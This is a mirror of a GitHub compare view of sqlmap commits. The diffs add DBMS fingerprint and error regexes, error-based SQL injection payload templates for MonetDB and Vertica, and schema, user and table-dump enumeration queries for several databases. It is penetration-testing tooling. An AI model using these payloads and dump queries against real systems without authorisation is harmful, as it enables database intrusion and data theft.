mirror of
https://github.com/sqlmapproject/sqlmap.git
synced 2025-12-07 05:01:30 +00:00
Compare commits
70 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
2fc4d17cbc | ||
|
|
93aa981e4f | ||
|
|
a4cb6dbb00 | ||
|
|
4e3af35ceb | ||
|
|
5d7b7d6bca | ||
|
|
8ab4f6214f | ||
|
|
8d343fc2a6 | ||
|
|
421f1878e3 | ||
|
|
f21388d550 | ||
|
|
f38a2c2028 | ||
|
|
22bf77161a | ||
|
|
186b3920e7 | ||
|
|
d227413a14 | ||
|
|
70df6d8b22 | ||
|
|
6d05985aef | ||
|
|
8c57b9cd4c | ||
|
|
4cf14c80eb | ||
|
|
615ac3b733 | ||
|
|
b2d6ab2949 | ||
|
|
39be0f30d8 | ||
|
|
6f54be987f | ||
|
|
35fa710eed | ||
|
|
f2518f7112 | ||
|
|
3779531540 | ||
|
|
447e5ec0ea | ||
|
|
d5fab1907d | ||
|
|
ec4880e0e1 | ||
|
|
984808cc26 | ||
|
|
6b1f4965ed | ||
|
|
e8be9e4af4 | ||
|
|
5b1574614d | ||
|
|
2c19d16830 | ||
|
|
60b642e2bd | ||
|
|
20700fd6b9 | ||
|
|
4be7c7dcee | ||
|
|
5ab2dfd0d9 | ||
|
|
f0f1cf1b21 | ||
|
|
b25181f061 | ||
|
|
9f85412017 | ||
|
|
4c804a3fd6 | ||
|
|
d7a56017bf | ||
|
|
ef59a365f4 | ||
|
|
1087396d88 | ||
|
|
1cfe370276 | ||
|
|
3776f2eeea | ||
|
|
a6c26fe792 | ||
|
|
c082067902 | ||
|
|
e37c22793b | ||
|
|
14005f476d | ||
|
|
eb3a3b4825 | ||
|
|
71b33e5956 | ||
|
|
ab203c1ec5 | ||
|
|
e7dd7e2d48 | ||
|
|
89aff21fb6 | ||
|
|
c95c370254 | ||
|
|
239e4d7927 | ||
|
|
dbebb34bc8 | ||
|
|
0e9dd9b0be | ||
|
|
57f17794c4 | ||
|
|
7a0a4c28e5 | ||
|
|
0ea39098bd | ||
|
|
49afd47c13 | ||
|
|
dc9e2df3c6 | ||
|
|
3a048a9e67 | ||
|
|
6b45199766 | ||
|
|
bb51c0e41e | ||
|
|
5d62195a41 | ||
|
|
8ace3363bd | ||
|
|
4606d5afd5 | ||
|
|
e9ec443a8a |
@@ -64,6 +64,7 @@ Translations
|
||||
* [Italian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-it-IT.md)
|
||||
* [Japanese](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ja-JP.md)
|
||||
* [Korean](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ko-KR.md)
|
||||
* [Persian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-fa-FA.md)
|
||||
* [Polish](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-pl-PL.md)
|
||||
* [Portuguese](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-pt-BR.md)
|
||||
* [Russian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ru-RUS.md)
|
||||
|
||||
@@ -83,6 +83,10 @@
|
||||
<info type="Linux"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="\bArch\b">
|
||||
<info type="Linux" distrib="Arch"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="CentOS">
|
||||
<info type="Linux" distrib="CentOS"/>
|
||||
</regexp>
|
||||
@@ -115,10 +119,22 @@
|
||||
<info type="Linux" distrib="Mandrake"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Manjaro">
|
||||
<info type="Linux" distrib="Manjaro"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Mandriva">
|
||||
<info type="Linux" distrib="Mandriva"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="\bMint\b">
|
||||
<info type="Linux" distrib="Mint"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="\bPuppy\b">
|
||||
<info type="Linux" distrib="Puppy"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Red[\-\_\ ]?Hat">
|
||||
<info type="Linux" distrib="Red Hat"/>
|
||||
</regexp>
|
||||
|
||||
@@ -7,7 +7,7 @@
|
||||
<error regexp="Warning.*?\Wmysqli?_"/>
|
||||
<error regexp="MySQLSyntaxErrorException"/>
|
||||
<error regexp="valid MySQL result"/>
|
||||
<error regexp="check the manual that (corresponds to|fits) your (MySQL|MariaDB) server version"/>
|
||||
<error regexp="check the manual that (corresponds to|fits) your MySQL server version"/>
|
||||
<error regexp="Unknown column '[^ ]+' in 'field list'"/>
|
||||
<error regexp="MySqlClient\."/>
|
||||
<error regexp="com\.mysql\.jdbc"/>
|
||||
@@ -15,6 +15,10 @@
|
||||
<error regexp="Pdo[./_\\]Mysql"/>
|
||||
<error regexp="MySqlException"/>
|
||||
<error regexp="SQLSTATE\[\d+\]: Syntax error or access violation"/>
|
||||
<error regexp="check the manual that (corresponds to|fits) your MariaDB server version" fork="MariaDB"/>
|
||||
<error regexp="MemSQL does not support this type of query" fork="MemSQL"/>
|
||||
<error regexp="is not supported by MemSQL" fork="MemSQL"/>
|
||||
<error regexp="unsupported nested scalar subselect" fork="MemSQL"/>
|
||||
</dbms>
|
||||
|
||||
<!-- PostgreSQL -->
|
||||
@@ -169,4 +173,52 @@
|
||||
<dbms value="H2">
|
||||
<error regexp="org\.h2\.jdbc"/>
|
||||
</dbms>
|
||||
|
||||
<!-- MonetDB -->
|
||||
<dbms value="MonetDB">
|
||||
<error regexp="![0-9]{5}![^\n]+(failed|unexpected|error|syntax|expected|violation|exception)"/>
|
||||
<error regexp="\[MonetDB\]\[ODBC Driver"/>
|
||||
<error regexp="nl\.cwi\.monetdb\.jdbc"/>
|
||||
</dbms>
|
||||
|
||||
<!-- Apache Derby -->
|
||||
<dbms value="Apache Derby">
|
||||
<error regexp="Syntax error: Encountered"/>
|
||||
<error regexp="org\.apache\.derby"/>
|
||||
<error regexp="ERROR 42X01"/>
|
||||
</dbms>
|
||||
|
||||
<!-- Vertica -->
|
||||
<dbms value="Vertica">
|
||||
<error regexp=", Sqlstate: (3F|42).{3}, (Routine|Hint|Position):"/>
|
||||
<error regexp="/vertica/Parser/scan"/>
|
||||
<error regexp="com\.vertica\.jdbc"/>
|
||||
<error regexp="org\.jkiss\.dbeaver\.ext\.vertica"/>
|
||||
<error regexp="com\.vertica\.dsi\.dataengine"/>
|
||||
</dbms>
|
||||
|
||||
<!-- Mckoi -->
|
||||
<dbms value="Mckoi">
|
||||
<error regexp="com\.mckoi\.JDBCDriver"/>
|
||||
<error regexp="com\.mckoi\.database\.jdbc"/>
|
||||
</dbms>
|
||||
|
||||
<!-- Presto -->
|
||||
<dbms value="Presto">
|
||||
<error regexp="com\.facebook\.presto\.jdbc"/>
|
||||
<error regexp="io\.prestosql\.jdbc"/>
|
||||
<error regexp="com\.simba\.presto\.jdbc"/>
|
||||
<error regexp="UNION query has different number of fields: \d+, \d+"/>
|
||||
</dbms>
|
||||
|
||||
<!-- Altibase -->
|
||||
<dbms value="Altibase">
|
||||
<error regexp="Altibase\.jdbc\.driver"/>
|
||||
</dbms>
|
||||
|
||||
<!-- MimerSQL -->
|
||||
<dbms value="MimerSQL">
|
||||
<error regexp="com\.mimer\.jdbc"/>
|
||||
<error regexp="Syntax error,[^\n]+assumed to mean"/>
|
||||
</dbms>
|
||||
</root>
|
||||
|
||||
File diff suppressed because it is too large
Load Diff
@@ -704,6 +704,82 @@
|
||||
<dbms>Firebird</dbms>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>MonetDB AND error-based - WHERE or HAVING clause</title>
|
||||
<stype>2</stype>
|
||||
<level>3</level>
|
||||
<risk>1</risk>
|
||||
<clause>1,9</clause>
|
||||
<where>1</where>
|
||||
<vector>AND [RANDNUM]=('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector>
|
||||
<request>
|
||||
<payload>AND [RANDNUM]=('[DELIMITER_START]'||(SELECT CASE [RANDNUM] WHEN [RANDNUM] THEN CODE(49) ELSE CODE(48) END)||'[DELIMITER_STOP]')</payload>
|
||||
</request>
|
||||
<response>
|
||||
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
||||
</response>
|
||||
<details>
|
||||
<dbms>MonetDB</dbms>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>MonetDB OR error-based - WHERE or HAVING clause</title>
|
||||
<stype>2</stype>
|
||||
<level>3</level>
|
||||
<risk>3</risk>
|
||||
<clause>1,9</clause>
|
||||
<where>2</where>
|
||||
<vector>OR [RANDNUM]=('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector>
|
||||
<request>
|
||||
<payload>OR [RANDNUM]=('[DELIMITER_START]'||(SELECT CASE [RANDNUM] WHEN [RANDNUM] THEN CODE(49) ELSE CODE(48) END)||'[DELIMITER_STOP]')</payload>
|
||||
</request>
|
||||
<response>
|
||||
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
||||
</response>
|
||||
<details>
|
||||
<dbms>MonetDB</dbms>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>Vertica AND error-based - WHERE or HAVING clause</title>
|
||||
<stype>2</stype>
|
||||
<level>3</level>
|
||||
<risk>1</risk>
|
||||
<clause>1,8,9</clause>
|
||||
<where>1</where>
|
||||
<vector>AND [RANDNUM]=CAST('[DELIMITER_START]'||([QUERY])::varchar||'[DELIMITER_STOP]' AS NUMERIC)</vector>
|
||||
<request>
|
||||
<payload>AND [RANDNUM]=CAST('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN BITCOUNT(BITSTRING_TO_BINARY('1')) ELSE BITCOUNT(BITSTRING_TO_BINARY('0')) END))::varchar||'[DELIMITER_STOP]' AS NUMERIC)</payload>
|
||||
</request>
|
||||
<response>
|
||||
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
||||
</response>
|
||||
<details>
|
||||
<dbms>Vertica</dbms>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>Vertica OR error-based - WHERE or HAVING clause</title>
|
||||
<stype>2</stype>
|
||||
<level>3</level>
|
||||
<risk>3</risk>
|
||||
<clause>1,8,9</clause>
|
||||
<where>2</where>
|
||||
<vector>OR [RANDNUM]=CAST('[DELIMITER_START]'||([QUERY])::varchar||'[DELIMITER_STOP]' AS NUMERIC)</vector>
|
||||
<request>
|
||||
<payload>OR [RANDNUM]=CAST('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN BITCOUNT(BITSTRING_TO_BINARY('1')) ELSE BITCOUNT(BITSTRING_TO_BINARY('0')) END))::varchar||'[DELIMITER_STOP]' AS NUMERIC)</payload>
|
||||
</request>
|
||||
<response>
|
||||
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
||||
</response>
|
||||
<details>
|
||||
<dbms>Vertica</dbms>
|
||||
</details>
|
||||
</test>
|
||||
<!--
|
||||
TODO: if possible, add payload for SQLite, Microsoft Access,
|
||||
and SAP MaxDB - no known techniques at this time
|
||||
|
||||
@@ -74,7 +74,8 @@
|
||||
<where>3</where>
|
||||
<vector>(SELECT ('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]') FROM DUAL)</vector>
|
||||
<request>
|
||||
<payload>(SELECT '[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL)||'[DELIMITER_STOP]' FROM DUAL)</payload>
|
||||
<!-- NOTE: Vertica works too without the TO_NUMBER() -->
|
||||
<payload>(SELECT '[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN TO_NUMBER(1) ELSE TO_NUMBER(0) END) FROM DUAL)||'[DELIMITER_STOP]' FROM DUAL)</payload>
|
||||
</request>
|
||||
<response>
|
||||
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
||||
|
||||
@@ -124,7 +124,7 @@
|
||||
<blind query="SELECT DISTINCT(query) FROM pg_stat_activity WHERE query != '<IDLE>' OFFSET %d LIMIT 1" count="SELECT COUNT(DISTINCT(query)) FROM pg_stat_activity WHERE query != '<IDLE>'"/>
|
||||
</statements>
|
||||
<dbs>
|
||||
<inband query="SELECT schemaname FROM pg_tables"/>
|
||||
<inband query="SELECT DISTINCT(schemaname) FROM pg_tables"/>
|
||||
<blind query="SELECT DISTINCT(schemaname) FROM pg_tables OFFSET %d LIMIT 1" count="SELECT COUNT(DISTINCT(schemaname)) FROM pg_tables"/>
|
||||
</dbs>
|
||||
<tables>
|
||||
@@ -531,7 +531,7 @@
|
||||
</roles>
|
||||
<statements/>
|
||||
<dump_table>
|
||||
<inband query="SELECT %s FROM %%s"/>
|
||||
<inband query="SELECT %s FROM %s"/>
|
||||
<blind query="SELECT MIN(%s) FROM %s WHERE CHR(%s)>'%s'" query2="SELECT MAX(%s) FROM %s WHERE CHR(%s) LIKE '%s'" count="SELECT COUNT(*) FROM %s" count2="SELECT COUNT(*) FROM (SELECT DISTINCT %s FROM %s) AS qq"/>
|
||||
</dump_table>
|
||||
</dbms>
|
||||
@@ -876,4 +876,462 @@
|
||||
<search_table/>
|
||||
<search_column/>
|
||||
</dbms>
|
||||
|
||||
<!-- MonetDB -->
|
||||
<dbms value="MonetDB">
|
||||
<cast query="CAST(%s AS VARCHAR(4000))"/>
|
||||
<length query="LENGTH(%s)"/>
|
||||
<isnull query="COALESCE(%s,' ')"/>
|
||||
<delimiter query="||"/>
|
||||
<limit query="LIMIT %d OFFSET %d"/>
|
||||
<limitregexp query="\s+LIMIT\s+([\d]+)\s*OFFSET\s*([\d]+)" query2="\s+LIMIT\s+([\d]+)"/>
|
||||
<limitgroupstart query="1"/>
|
||||
<limitgroupstop query="2"/>
|
||||
<limitstring query=" LIMIT "/>
|
||||
<order query="ORDER BY %s ASC"/>
|
||||
<count query="COUNT(%s)"/>
|
||||
<comment query="--" query2="#"/>
|
||||
<substring query="SUBSTRING((%s),%d,%d)"/>
|
||||
<concatenate query="CONCAT(%s,%s)"/>
|
||||
<case query="SELECT (CASE WHEN (%s) THEN 1 ELSE 0 END)"/>
|
||||
<inference query="ASCII(SUBSTRING((%s),%d,1))>%d"/>
|
||||
<banner query="SELECT value FROM environment WHERE name='monet_version'"/>
|
||||
<current_user query="CURRENT_USER"/>
|
||||
<current_db query="SELECT CURRENT_SCHEMA" query2="SELECT value FROM environment WHERE name='gdk_dbname'"/>
|
||||
<hostname/>
|
||||
<table_comment/>
|
||||
<column_comment/>
|
||||
<is_dba query="(SELECT grantor FROM auths WHERE name=CURRENT_USER)=0"/>
|
||||
<check_udf/>
|
||||
<users>
|
||||
<inband query="SELECT name FROM sys.users"/>
|
||||
<!-- NOTE: LIMIT %d OFFSET %d not supported inside subqueries -->
|
||||
<blind query="SELECT name FROM (SELECT name,row_number() over() AS y FROM sys.users)x WHERE x.y-1=%d" count="SELECT COUNT(name) FROM sys.users"/>
|
||||
</users>
|
||||
<passwords/>
|
||||
<privileges/>
|
||||
<roles/>
|
||||
<statements/>
|
||||
<dbs>
|
||||
<inband query="SELECT name FROM schemas"/>
|
||||
<blind query="SELECT name FROM (SELECT name,row_number() over() AS y FROM sys.schemas)x WHERE x.y-1=%d" count="SELECT COUNT(DISTINCT(name)) FROM schemas"/>
|
||||
</dbs>
|
||||
<tables>
|
||||
<inband query="SELECT schemas.name,tables.name FROM tables JOIN schemas ON schema_id=schemas.id WHERE tables.system=false"/>
|
||||
<blind query="SELECT name FROM (SELECT tables.name,row_number() over() AS y FROM tables JOIN schemas ON schema_id=schemas.id WHERE tables.system=false AND schemas.name='%s')x WHERE x.y-1=%d" count="SELECT COUNT(DISTINCT(tables.name)) FROM tables JOIN schemas ON schema_id=schemas.id WHERE tables.system=false AND schemas.name='%s'"/>
|
||||
</tables>
|
||||
<columns>
|
||||
<inband query="SELECT name,type FROM columns WHERE table_id=(SELECT tables.id FROM tables JOIN schemas ON schema_id=schemas.id WHERE tables.name='%s' AND schemas.name='%s' AND tables.id=table_id)" condition="name"/>
|
||||
<blind query="SELECT name FROM (SELECT name,row_number() over() AS y FROM columns WHERE table_id=(SELECT tables.id FROM tables JOIN schemas ON schema_id=schemas.id WHERE tables.name='%s' AND schemas.name='%s'))x WHERE x.y-1=%d" query2="SELECT type FROM columns WHERE name='%s' AND table_id=(SELECT tables.id FROM tables JOIN schemas ON schema_id=schemas.id WHERE tables.name='%s' AND schemas.name='%s')" count="SELECT COUNT(name) FROM columns WHERE table_id=(SELECT tables.id FROM tables JOIN schemas ON schema_id=schemas.id WHERE tables.name='%s' AND schemas.name='%s')" condition="name"/>
|
||||
</columns>
|
||||
<dump_table>
|
||||
<inband query="SELECT %s FROM %s.%s"/>
|
||||
<blind query="SELECT z FROM (SELECT %s AS z,row_number() over() AS y FROM %s.%s)x WHERE x.y-1=%d" count="SELECT COUNT(*) FROM %s.%s"/>
|
||||
</dump_table>
|
||||
<search_db>
|
||||
<inband query="SELECT schemas.name FROM schemas WHERE %s" condition="schemas.name"/>
|
||||
<blind query="SELECT DISTINCT(schemas.name) FROM schemas WHERE %s" count="SELECT COUNT(DISTINCT(schemas.name)) FROM schemas WHERE %s" condition="schemas.name"/>
|
||||
</search_db>
|
||||
<search_table>
|
||||
<inband query="SELECT schemas.name,tables.name FROM tables JOIN schemas ON schema_id=schemas.id WHERE tables.system=false AND %s" condition="tables.name" condition2="schemas.name"/>
|
||||
<blind query="SELECT DISTINCT(schemas.name) FROM tables JOIN schemas ON schema_id=schemas.id WHERE tables.system=false AND %s" query2="SELECT DISTINCT(tables.name) FROM tables JOIN schemas ON schema_id=schemas.id WHERE tables.system=false AND schemas.name='%s'" count="SELECT COUNT(DISTINCT(tables.name)) FROM tables JOIN schemas ON schema_id=schemas.id WHERE tables.system=false AND schemas.name='%s'" count2="SELECT COUNT(DISTINCT(tables.name)) FROM tables JOIN schemas ON schema_id=schemas.id WHERE tables.system=false AND schemas.name='%s'" condition="tables.name" condition2="schemas.name"/>
|
||||
</search_table>
|
||||
<search_column>
|
||||
<inband query="SELECT schemas.name,tables.name FROM tables JOIN schemas ON tables.schema_id=schemas.id JOIN columns ON tables.id=columns.table_id WHERE %s" condition="columns.name" condition2="schemas.name" condition3="tables.name"/>
|
||||
<blind query="SELECT DISTINCT(schemas.name) FROM tables JOIN schemas ON tables.schema_id=schemas.id JOIN columns ON tables.id=columns.table_id WHERE %s" query2="SELECT DISTINCT(tables.name) FROM tables JOIN schemas ON tables.schema_id=schemas.id JOIN columns ON tables.id=columns.table_id WHERE schemas.name='%s'" count="SELECT COUNT(DISTINCT(schemas.name)) FROM tables JOIN schemas ON tables.schema_id=schemas.id JOIN columns ON tables.id=columns.table_id WHERE %s" count2="SELECT COUNT(DISTINCT(tables.name)) FROM tables JOIN schemas ON tables.schema_id=schemas.id JOIN columns ON tables.id=columns.table_id WHERE schemas.name='%s'" condition="columns.name" condition2="schemas.name" condition3="tables.name"/>
|
||||
</search_column>
|
||||
</dbms>
|
||||
|
||||
<!-- Apache Derby -->
|
||||
<dbms value="Apache Derby">
|
||||
<!-- NOTE: CHAR(%s) causes 'A truncation error was encountered trying to shrink CHAR' -->
|
||||
<cast query="RTRIM(CAST(%s AS CHAR(254)))"/>
|
||||
<length query="LENGTH(RTRIM(CAST(%s AS CHAR(254))))"/>
|
||||
<isnull query="COALESCE(%s,' ')"/>
|
||||
<delimiter query="||"/>
|
||||
<limit query="{LIMIT %d OFFSET %d}"/>
|
||||
<limitregexp query="{LIMIT\s+([\d]+)\s+OFFSET\s+([\d]+)}"/>
|
||||
<limitgroupstart query="2"/>
|
||||
<limitgroupstop query="1"/>
|
||||
<limitstring/>
|
||||
<order query="ORDER BY %s ASC"/>
|
||||
<count query="COUNT(%s)"/>
|
||||
<!-- NOTE: comment without alphanumeric char in continuation is invalid -->
|
||||
<comment query="--x"/>
|
||||
<substring query="SUBSTR((%s),%d,%d)"/>
|
||||
<concatenate query="%s||%s"/>
|
||||
<!-- NOTE: Apache Derby does not support implicit conversion from int to string -->
|
||||
<case query="SELECT (CASE WHEN (%s) THEN '1' ELSE '0' END) FROM SYSIBM.SYSDUMMY1"/>
|
||||
<inference query="SUBSTR((%s),%d,1)>'%c'"/>
|
||||
<banner/>
|
||||
<current_user query="SELECT USER FROM SYSIBM.SYSDUMMY1"/>
|
||||
<current_db query="SELECT CURRENT SCHEMA FROM SYSIBM.SYSDUMMY1"/>
|
||||
<hostname/>
|
||||
<table_comment/>
|
||||
<column_comment/>
|
||||
<!-- NOTE: ERROR 4251D: Only the database owner can perform this operation. -->
|
||||
<is_dba query="(SELECT COUNT(*) FROM SYS.SYSUSERS)>=0"/>
|
||||
<dbs>
|
||||
<inband query="SELECT SCHEMANAME FROM SYS.SYSSCHEMAS"/>
|
||||
<blind query="SELECT SCHEMANAME FROM SYS.SYSSCHEMAS {LIMIT 1 OFFSET %d}" count="SELECT COUNT(SCHEMANAME) FROM SYS.SYSSCHEMAS"/>
|
||||
</dbs>
|
||||
<tables>
|
||||
<inband query="SELECT SCHEMANAME,TABLENAME FROM SYS.SYSTABLES JOIN SYS.SYSSCHEMAS ON SYS.SYSTABLES.SCHEMAID=SYS.SYSSCHEMAS.SCHEMAID" condition="SCHEMANAME"/>
|
||||
<blind query="SELECT TABLENAME FROM SYS.SYSTABLES JOIN SYS.SYSSCHEMAS ON SYS.SYSTABLES.SCHEMAID=SYS.SYSSCHEMAS.SCHEMAID WHERE SCHEMANAME='%s' {LIMIT 1 OFFSET %d}" count="SELECT COUNT(TABLENAME) FROM SYS.SYSTABLES JOIN SYS.SYSSCHEMAS ON SYS.SYSTABLES.SCHEMAID=SYS.SYSSCHEMAS.SCHEMAID WHERE SCHEMANAME='%s'"/>
|
||||
</tables>
|
||||
<columns>
|
||||
<!-- NOTE: COLUMNDATATYPE without CAST() causes problems during enumeration -->
|
||||
<inband query="SELECT COLUMNNAME,RTRIM(CAST(COLUMNDATATYPE AS CHAR(254))) FROM SYS.SYSCOLUMNS JOIN SYS.SYSTABLES ON SYS.SYSCOLUMNS.REFERENCEID=SYS.SYSTABLES.TABLEID JOIN SYS.SYSSCHEMAS ON SYS.SYSTABLES.SCHEMAID=SYS.SYSSCHEMAS.SCHEMAID WHERE TABLENAME='%s' AND SCHEMANAME='%s'" condition="COLUMNNAME"/>
|
||||
<blind query="SELECT COLUMNNAME FROM SYS.SYSCOLUMNS JOIN SYS.SYSTABLES ON SYS.SYSCOLUMNS.REFERENCEID=SYS.SYSTABLES.TABLEID JOIN SYS.SYSSCHEMAS ON SYS.SYSTABLES.SCHEMAID=SYS.SYSSCHEMAS.SCHEMAID WHERE TABLENAME='%s' AND SCHEMANAME='%s'" query2="SELECT COLUMNDATATYPE FROM SYS.SYSCOLUMNS JOIN SYS.SYSTABLES ON SYS.SYSCOLUMNS.REFERENCEID=SYS.SYSTABLES.TABLEID JOIN SYS.SYSSCHEMAS ON SYS.SYSTABLES.SCHEMAID=SYS.SYSSCHEMAS.SCHEMAID WHERE TABLENAME='%s' AND COLUMNNAME='%s' AND SCHEMANAME='%s'" count="SELECT COUNT(COLUMNNAME) FROM SYS.SYSCOLUMNS JOIN SYS.SYSTABLES ON SYS.SYSCOLUMNS.REFERENCEID=SYS.SYSTABLES.TABLEID JOIN SYS.SYSSCHEMAS ON SYS.SYSTABLES.SCHEMAID=SYS.SYSSCHEMAS.SCHEMAID WHERE TABLENAME='%s' AND SCHEMANAME='%s'" condition="COLUMNNAME"/>
|
||||
</columns>
|
||||
<dump_table>
|
||||
<inband query="SELECT %s FROM %s"/>
|
||||
<blind query="SELECT %s FROM %s {LIMIT 1 OFFSET %d}" count="SELECT COUNT(*) FROM %s"/>
|
||||
</dump_table>
|
||||
<users>
|
||||
<inband query="SELECT USERNAME FROM SYS.SYSUSERS"/>
|
||||
<blind query="SELECT USERNAME FROM SYS.SYSUSERS {LIMIT 1 OFFSET %d}" count="SELECT COUNT(USERNAME) FROM SYS.SYSUSERS"/>
|
||||
</users>
|
||||
<!-- NOTE: No one can view the 'SYSUSERS'.'PASSWORD' column -->
|
||||
<passwords/>
|
||||
<privileges/>
|
||||
<roles/>
|
||||
<statements/>
|
||||
<search_db>
|
||||
<inband query="SELECT SCHEMANAME FROM SYS.SYSSCHEMAS WHERE %s" condition="SCHEMANAME"/>
|
||||
<blind query="SELECT DISTINCT(SCHEMANAME) FROM SYS.SYSSCHEMAS WHERE %s" count="SELECT COUNT(DISTINCT(SCHEMANAME)) FROM SYS.SYSSCHEMAS WHERE %s" condition="SCHEMANAME"/>
|
||||
</search_db>
|
||||
<search_table>
|
||||
<inband query="SELECT SCHEMANAME,TABLENAME FROM SYS.SYSTABLES JOIN SYS.SYSSCHEMAS ON SYS.SYSTABLES.SCHEMAID=SYS.SYSSCHEMAS.SCHEMAID WHERE %s" condition="TABLENAME" condition2="SCHEMANAME"/>
|
||||
<blind query="SELECT DISTINCT(SCHEMANAME) FROM SYS.SYSTABLES JOIN SYS.SYSSCHEMAS ON SYS.SYSTABLES.SCHEMAID=SYS.SYSSCHEMAS.SCHEMAID WHERE %s" query2="SELECT DISTINCT(TABLENAME) FROM SYS.SYSTABLES JOIN SYS.SYSSCHEMAS ON SYS.SYSTABLES.SCHEMAID=SYS.SYSSCHEMAS.SCHEMAID WHERE SCHEMANAME='%s'" count="SELECT COUNT(DISTINCT(SCHEMANAME)) FROM SYS.SYSTABLES JOIN SYS.SYSSCHEMAS ON SYS.SYSTABLES.SCHEMAID=SYS.SYSSCHEMAS.SCHEMAID WHERE %s" count2="SELECT COUNT(DISTINCT(TABLENAME)) FROM SYS.SYSTABLES JOIN SYS.SYSSCHEMAS ON SYS.SYSTABLES.SCHEMAID=SYS.SYSSCHEMAS.SCHEMAID WHERE SCHEMANAME='%s'" condition="TABLENAME" condition2="SCHEMANAME"/>
|
||||
</search_table>
|
||||
<search_column>
|
||||
<inband query="SELECT SCHEMANAME,TABLENAME FROM SYS.SYSCOLUMNS JOIN SYS.SYSTABLES ON SYS.SYSCOLUMNS.REFERENCEID=SYS.SYSTABLES.TABLEID JOIN SYS.SYSSCHEMAS ON SYS.SYSTABLES.SCHEMAID=SYS.SYSSCHEMAS.SCHEMAID WHERE %s" condition="COLUMNNAME" condition2="SCHEMANAME" condition3="TABLENAME"/>
|
||||
<blind query="SELECT DISTINCT(SCHEMANAME) FROM SYS.SYSCOLUMNS JOIN SYS.SYSTABLES ON SYS.SYSCOLUMNS.REFERENCEID=SYS.SYSTABLES.TABLEID JOIN SYS.SYSSCHEMAS ON SYS.SYSTABLES.SCHEMAID=SYS.SYSSCHEMAS.SCHEMAID WHERE %s" count="SELECT COUNT(DISTINCT(SCHEMANAME)) FROM SYS.SYSCOLUMNS JOIN SYS.SYSTABLES ON SYS.SYSCOLUMNS.REFERENCEID=SYS.SYSTABLES.TABLEID JOIN SYS.SYSSCHEMAS ON SYS.SYSTABLES.SCHEMAID=SYS.SYSSCHEMAS.SCHEMAID WHERE %s" query2="SELECT DISTINCT(TABLENAME) FROM SYS.SYSCOLUMNS JOIN SYS.SYSTABLES ON SYS.SYSCOLUMNS.REFERENCEID=SYS.SYSTABLES.TABLEID JOIN SYS.SYSSCHEMAS ON SYS.SYSTABLES.SCHEMAID=SYS.SYSSCHEMAS.SCHEMAID WHERE %s" count2="SELECT COUNT(DISTINCT(TABLENAME)) FROM SYS.SYSCOLUMNS JOIN SYS.SYSTABLES ON SYS.SYSCOLUMNS.REFERENCEID=SYS.SYSTABLES.TABLEID JOIN SYS.SYSSCHEMAS ON SYS.SYSTABLES.SCHEMAID=SYS.SYSSCHEMAS.SCHEMAID WHERE SCHEMANAME='%s'" condition="COLUMNNAME" condition2="SCHEMANAME" condition3="TABLENAME"/>
|
||||
</search_column>
|
||||
</dbms>
|
||||
|
||||
<!-- Vertica -->
|
||||
<dbms value="Vertica">
|
||||
<cast query="CAST(%s AS CHARACTER(10000))"/>
|
||||
<length query="LENGTH(%s)"/>
|
||||
<isnull query="COALESCE(%s,' ')"/>
|
||||
<delimiter query="||"/>
|
||||
<limit query="OFFSET %d LIMIT %d"/>
|
||||
<limitregexp query="\s+OFFSET\s+([\d]+)\s+LIMIT\s+([\d]+)" query2="\s+LIMIT\s+([\d]+)"/>
|
||||
<limitgroupstart query="1"/>
|
||||
<limitgroupstop query="2"/>
|
||||
<limitstring query=" OFFSET "/>
|
||||
<order query="ORDER BY %s ASC"/>
|
||||
<count query="COUNT(%s)"/>
|
||||
<comment query="--"/>
|
||||
<substring query="SUBSTRING((%s) FROM %d FOR %d)"/>
|
||||
<concatenate query="%s||%s"/>
|
||||
<case query="SELECT (CASE WHEN (%s) THEN '1' ELSE '0' END)"/>
|
||||
<!-- NOTE: requires >=9.1.1 because of 'cannot cast type varchar to varbinary' -->
|
||||
<hex query="TO_HEX((%s)::varbinary)"/>
|
||||
<inference query="ASCII(SUBSTRING((%s)::varchar FROM %d FOR 1))>%d"/>
|
||||
<banner query="VERSION()"/>
|
||||
<current_user query="CURRENT_USER"/>
|
||||
<current_db query="CURRENT_SCHEMA()"/>
|
||||
<hostname query="SELECT MIN(node_name) FROM v_catalog.nodes"/>
|
||||
<table_comment query="SELECT comment FROM v_catalog.comments WHERE object_type='TABLE' AND object_schema='%s' AND object_name='%s'"/>
|
||||
<!-- NOTE: Vertica uses "projection columns" in case of column comments (e.g. testusers_super.surname) -->
|
||||
